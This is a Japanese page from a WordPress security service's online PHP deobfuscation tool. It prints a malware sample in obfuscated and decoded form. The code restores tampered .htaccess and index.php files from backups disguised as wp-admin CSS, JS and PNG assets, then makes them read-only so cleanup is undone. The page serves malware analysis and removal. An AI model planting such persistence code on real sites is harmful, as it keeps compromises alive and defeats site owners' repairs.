Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $r_p=$_SERVER["DOCUMENT_ROOT"];$ht_url=$r_p."/.h"."t"."a"."cc"."es"."s";$in_url=$r_p."/i"."n"."d"."ex."."p"."h"."p";$bk_ht_1=$r_p."/w"."p-"."ad"."min/"."cs"."s/"."cus"."tom"."ize"."-me"."nus"."-r"."tl".".mi"."n."."cs"."s";$bk_ht_2=$r_p."/wp"."-"."adm"."in"."/j"."s/cus"."to"."n-b"."ack"."gr"...



難読化されたPHPコード

<?php $r_p=$_SERVER["DOCUMENT_ROOT"];$ht_url=$r_p."/.h"."t"."a"."cc"."es"."s";$in_url=$r_p."/i"."n"."d"."ex."."p"."h"."p";$bk_ht_1=$r_p."/w"."p-"."ad"."min/"."cs"."s/"."cus"."tom"."ize"."-me"."nus"."-r"."tl".".mi"."n."."cs"."s";$bk_ht_2=$r_p."/wp"."-"."adm"."in"."/j"."s/cus"."to"."n-b"."ack"."gr"."ou"."nd".".mi"."n."."js";$bk_ht_3=$r_p."/wp-"."a"."dm"."in/"."im"."ages/dat"."e-b"."utt"."on"."-4"."x.p"."ng";$bk_in_1=$r_p."/w"."p"."-a"."d"."mi"."n/cs"."s/dep"."rec"."at"."ed"."-m"."e"."di"."a-j"."s.c"."ss";$bk_in_2=$r_p."/wp"."-"."a"."dm"."in"."/j"."s/us"."er-su"."gge"."s"."t.mi"."ns".".j"."s";$bk_in_3=$r_p."/wp"."-a"."dmi"."n"."/ima"."ges/al"."ign-"."ce"."nt"."er-4"."x."."pn"."g";$f_ex="fi"."le"."_"."e"."x"."i"."s"."ts";$f_sz="f"."i"."l"."e"."s"."i"."z"."e";$c_mo="c"."h"."m"."o"."d";$f_p_c="f"."i"."l"."e"."_p"."ut"."_c"."on"."te"."nt"."s";$f_g_c="f"."il"."e_"."ge"."t_"."con"."te"."nt"."s";if($ht_url&&call_user_func($f_ex,$bk_ht_1)){if(!call_user_func($f_ex,$ht_url)or(call_user_func($f_sz,$ht_url)!=call_user_func($f_sz,$bk_ht_1))){@call_user_func($c_mo,$ht_url,0411+0233);@call_user_func($f_p_c,$ht_url,@call_user_func($f_g_c,$bk_ht_1));@call_user_func($c_mo,$ht_url,0311+0133);}}if($ht_url&&call_user_func($f_ex,$bk_ht_2)){if(!call_user_func($f_ex,$ht_url)or(call_user_func($f_sz,$ht_url)!=call_user_func($f_sz,$bk_ht_2))){@call_user_func($c_mo,$ht_url,0411+0233);@call_user_func($f_p_c,$ht_url,@call_user_func($f_g_c,$bk_ht_2));@call_user_func($c_mo,$ht_url,0311+0133);}}if($ht_url&&call_user_func($f_ex,$bk_ht_3)){if(!call_user_func($f_ex,$ht_url)or(call_user_func($f_sz,$ht_url)!=call_user_func($f_sz,$bk_ht_3))){@call_user_func($c_mo,$ht_url,0411+0233);@call_user_func($f_p_c,$ht_url,@call_user_func($f_g_c,$bk_ht_3));@call_user_func($c_mo,$ht_url,0311+0133);}}if($in_url&&call_user_func($f_ex,$bk_in_1)){if(!call_user_func($f_ex,$in_url)or(call_user_func($f_sz,$in_url)!=call_user_func($f_sz,$bk_in_1))){@call_user_func($c_mo,$in_url,0411+0233);@call_user_func($f_p_c,$in_url,@call_user_func($f_g_c,$bk_in_1));@call_user_func($c_mo,$in_url,0311+0133);}}if($in_url&&call_user_func($f_ex,$bk_in_2)){if(!call_user_func($f_ex,$in_url)or(call_user_func($f_sz,$in_url)!=call_user_func($f_sz,$bk_in_2))){@call_user_func($c_mo,$in_url,0411+0233);@call_user_func($f_p_c,$in_url,@call_user_func($f_g_c,$bk_in_2));@call_user_func($c_mo,$in_url,0311+0133);}}if($in_url&&call_user_func($f_ex,$bk_in_3)){if(!call_user_func($f_ex,$in_url)or(call_user_func($f_sz,$in_url)!=call_user_func($f_sz,$bk_in_3))){@call_user_func($c_mo,$in_url,0411+0233);@call_user_func($f_p_c,$in_url,@call_user_func($f_g_c,$bk_in_3));@call_user_func($c_mo,$in_url,0311+0133);}} ?>

デコード(難読化解除)されたコード

<?php

$r_p = $_SERVER["DOCUMENT_ROOT"];
$ht_url = $r_p . "/.h" . "t" . "a" . "cc" . "es" . "s";
$in_url = $r_p . "/i" . "n" . "d" . "ex." . "p" . "h" . "p";
$bk_ht_1 = $r_p . "/w" . "p-" . "ad" . "min/" . "cs" . "s/" . "cus" . "tom" . "ize" . "-me" . "nus" . "-r" . "tl" . ".mi" . "n." . "cs" . "s";
$bk_ht_2 = $r_p . "/wp" . "-" . "adm" . "in" . "/j" . "s/cus" . "to" . "n-b" . "ack" . "gr" . "ou" . "nd" . ".mi" . "n." . "js";
$bk_ht_3 = $r_p . "/wp-" . "a" . "dm" . "in/" . "im" . "ages/dat" . "e-b" . "utt" . "on" . "-4" . "x.p" . "ng";
$bk_in_1 = $r_p . "/w" . "p" . "-a" . "d" . "mi" . "n/cs" . "s/dep" . "rec" . "at" . "ed" . "-m" . "e" . "di" . "a-j" . "s.c" . "ss";
$bk_in_2 = $r_p . "/wp" . "-" . "a" . "dm" . "in" . "/j" . "s/us" . "er-su" . "gge" . "s" . "t.mi" . "ns" . ".j" . "s";
$bk_in_3 = $r_p . "/wp" . "-a" . "dmi" . "n" . "/ima" . "ges/al" . "ign-" . "ce" . "nt" . "er-4" . "x." . "pn" . "g";
$f_ex = "file_exists";
$f_sz = "filesize";
$c_mo = "chmod";
$f_p_c = "file_put_contents";
$f_g_c = "file_get_contents";
if ($ht_url && call_user_func($f_ex, $bk_ht_1)) {
    if (!call_user_func($f_ex, $ht_url) or call_user_func($f_sz, $ht_url) != call_user_func($f_sz, $bk_ht_1)) {
        @call_user_func($c_mo, $ht_url, 420);
        @call_user_func($f_p_c, $ht_url, @call_user_func($f_g_c, $bk_ht_1));
        @call_user_func($c_mo, $ht_url, 292);
    }
}
if ($ht_url && call_user_func($f_ex, $bk_ht_2)) {
    if (!call_user_func($f_ex, $ht_url) or call_user_func($f_sz, $ht_url) != call_user_func($f_sz, $bk_ht_2)) {
        @call_user_func($c_mo, $ht_url, 420);
        @call_user_func($f_p_c, $ht_url, @call_user_func($f_g_c, $bk_ht_2));
        @call_user_func($c_mo, $ht_url, 292);
    }
}
if ($ht_url && call_user_func($f_ex, $bk_ht_3)) {
    if (!call_user_func($f_ex, $ht_url) or call_user_func($f_sz, $ht_url) != call_user_func($f_sz, $bk_ht_3)) {
        @call_user_func($c_mo, $ht_url, 420);
        @call_user_func($f_p_c, $ht_url, @call_user_func($f_g_c, $bk_ht_3));
        @call_user_func($c_mo, $ht_url, 292);
    }
}
if ($in_url && call_user_func($f_ex, $bk_in_1)) {
    if (!call_user_func($f_ex, $in_url) or call_user_func($f_sz, $in_url) != call_user_func($f_sz, $bk_in_1)) {
        @call_user_func($c_mo, $in_url, 420);
        @call_user_func($f_p_c, $in_url, @call_user_func($f_g_c, $bk_in_1));
        @call_user_func($c_mo, $in_url, 292);
    }
}
if ($in_url && call_user_func($f_ex, $bk_in_2)) {
    if (!call_user_func($f_ex, $in_url) or call_user_func($f_sz, $in_url) != call_user_func($f_sz, $bk_in_2)) {
        @call_user_func($c_mo, $in_url, 420);
        @call_user_func($f_p_c, $in_url, @call_user_func($f_g_c, $bk_in_2));
        @call_user_func($c_mo, $in_url, 292);
    }
}
if ($in_url && call_user_func($f_ex, $bk_in_3)) {
    if (!call_user_func($f_ex, $in_url) or call_user_func($f_sz, $in_url) != call_user_func($f_sz, $bk_in_3)) {
        @call_user_func($c_mo, $in_url, 420);
        @call_user_func($f_p_c, $in_url, @call_user_func($f_g_c, $bk_in_3));
        @call_user_func($c_mo, $in_url, 292);
    }
}


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.